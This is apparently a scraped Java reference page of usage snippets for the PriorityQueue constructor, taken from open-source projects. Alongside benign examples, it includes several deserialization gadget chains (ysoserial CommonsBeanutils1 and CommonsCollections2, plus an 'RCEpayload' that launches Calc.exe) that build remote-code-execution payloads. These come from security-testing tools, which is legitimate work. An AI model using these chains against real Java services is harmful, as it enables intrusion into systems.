Example usage for java.util PriorityQueue PriorityQueue

List of usage examples for java.util PriorityQueue PriorityQueue

Introduction

In this page you can find the example usage for java.util PriorityQueue PriorityQueue.

Prototype

public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) 

Source Link

Document

Creates a PriorityQueue with the specified initial capacity that orders its elements according to the specified comparator.

Usage

From source file:com.thesoftwareguild.flightmaster.configuration.PQInitializer.java

@Bean
public PriorityQueue<Request> getPQ() {
    return new PriorityQueue<Request>(10, Request.flightQuerySoonest);
}

From source file:org.polymap.rhei.batik.engine.cp.SolutionQueueBuilder.java

/**
 *
 * @param maxSize -1 signals that an unbound queue should be created. 
 * @return Newly created solution queue.
 *///from   w  w  w.j  a  v  a  2s .  com
public static <T extends ScoredSolution> Queue<T> create(int maxSize) {
    if (maxSize < 0) {
        return new PriorityQueue<T>(1024, Ordering.natural().reverse());
    } else {
        return MinMaxPriorityQueue.orderedBy(Ordering.natural().reverse()).maximumSize(maxSize).create();
    }
}

From source file:org.talend.dataquality.sampling.parallel.ReservoirSamplerWithBinaryHeap.java

public ReservoirSamplerWithBinaryHeap(int nbSamples, long seed) {
    this.nbSamples = nbSamples;
    this.rand = new Random(seed);
    this.minRandom = 1.0;
    buffer = new PriorityQueue<ImmutablePair<Double, T>>(nbSamples, new Comparator<ImmutablePair<Double, T>>() {

        @Override/*  w w w  . ja v a2s .  c  om*/
        public int compare(ImmutablePair<Double, T> o1, ImmutablePair<Double, T> o2) {
            if (o1.left < o2.left) {
                return -1;
            } else if (o1.left > o2.left) {
                return 1;
            } else {
                return 0;
            }
        }

    });
}

From source file:org.apache.jackrabbit.oak.plugins.document.DocumentNodeStoreHelper.java

private static Iterable<BlobReferences> scan(DocumentNodeStore store, Comparator<BlobReferences> comparator,
        int num) {
    long totalGarbage = 0;
    Iterable<NodeDocument> docs = getDocuments(store.getDocumentStore());
    PriorityQueue<BlobReferences> queue = new PriorityQueue<BlobReferences>(num, comparator);
    List<Blob> blobs = Lists.newArrayList();
    long docCount = 0;
    for (NodeDocument doc : docs) {
        if (++docCount % 10000 == 0) {
            System.out.print(".");
        }/*from   w  w  w.ja v a 2  s. c  o m*/
        blobs.clear();
        BlobReferences refs = collectReferences(doc, store);
        totalGarbage += refs.garbageSize;
        queue.add(refs);
        if (queue.size() > num) {
            queue.remove();
        }
    }

    System.out.println();
    List<BlobReferences> refs = Lists.newArrayList();
    refs.addAll(queue);
    Collections.sort(refs, Collections.reverseOrder(comparator));
    System.out.println("Total garbage size: " + FileUtils.byteCountToDisplaySize(totalGarbage));
    System.out.println("Total number of nodes with blob references: " + docCount);
    System.out.println("total referenced / old referenced / # blob references / path");
    return refs;
}

From source file:org.kantega.notsoserial.CreateBytesIT.java

private Object nastySerializable() {
    InvokerTransformer transformer = new InvokerTransformer("toString", new Class[] {}, new Object[] {});

    Queue priorityQueue = new PriorityQueue(2, new TransformingComparator(transformer));
    priorityQueue.add(1);/*  ww w.  j  a va 2s. c om*/
    priorityQueue.add(1);

    TemplatesImpl templates = createTemplates();

    setFieldValue(transformer, "iMethodName", "newTransformer");

    Object[] queue = (Object[]) getFieldValue(priorityQueue, "queue");
    queue[0] = templates;
    queue[1] = templates;
    return priorityQueue;
}

From source file:org.apache.hadoop.hive.ql.exec.tez.tools.InputMerger.java

public InputMerger(List<? extends Input> shuffleInputs) throws Exception {
    //get KeyValuesReaders from the LogicalInput and add them to priority queue
    int initialCapacity = shuffleInputs.size();
    pQueue = new PriorityQueue<KeyValuesReader>(initialCapacity, new KVReaderComparator());
    for (Input input : shuffleInputs) {
        addToQueue((KeyValuesReader) input.getReader());
    }//ww  w .j av  a2 s  . co  m
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsBeanutils1.java

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;//from   www .j  a  va  2 s.  c  o  m
    queueArray[1] = templates;

    return queue;
}

From source file:syndeticlogic.memento.PinnableLruStrategy.java

public PinnableLruStrategy(EvictionListener elistener, int maxSize, long timeoutMillis) {
    super(elistener, maxSize, timeoutMillis);
    lru = new PriorityQueue<PinnableNode>(maxSize, new PinnableNodeComparator());
    defaultPinned = true;//from  w  ww  .ja v a 2 s  . com
    waiting = false;
}

From source file:ser05j.RCE.java

/**
 * Creates a Remote Command Execution Exploit based on Apache Commons Collections4 4.0
 *
 * @throws Exception for <i>everything</i>.
 * @return a byte array containing the serialized queue
 *///from  w  w w. j ava 2 s. c  om
private static byte[] RCEpayload() throws Exception {

    Object templates = Gadgets.createTemplatesImpl("Calc.exe");
    // Object templates = Gadgets.createTemplatesImpl("write .gitignore"); 

    ConstantTransformer<Object, Class<String>> constant = new ConstantTransformer<>(String.class);

    // mock method name until armed
    Class<?>[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer<?> instantiate = new InstantiateTransformer<>(paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    @SuppressWarnings("unchecked")
    Transformer<Object, Object> chain = new ChainedTransformer<Object>(
            new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator<>(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return serialize(queue);
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections2.java

public Queue<Object> getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);/*  w w  w . j a  v  a  2s  . c o m*/
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}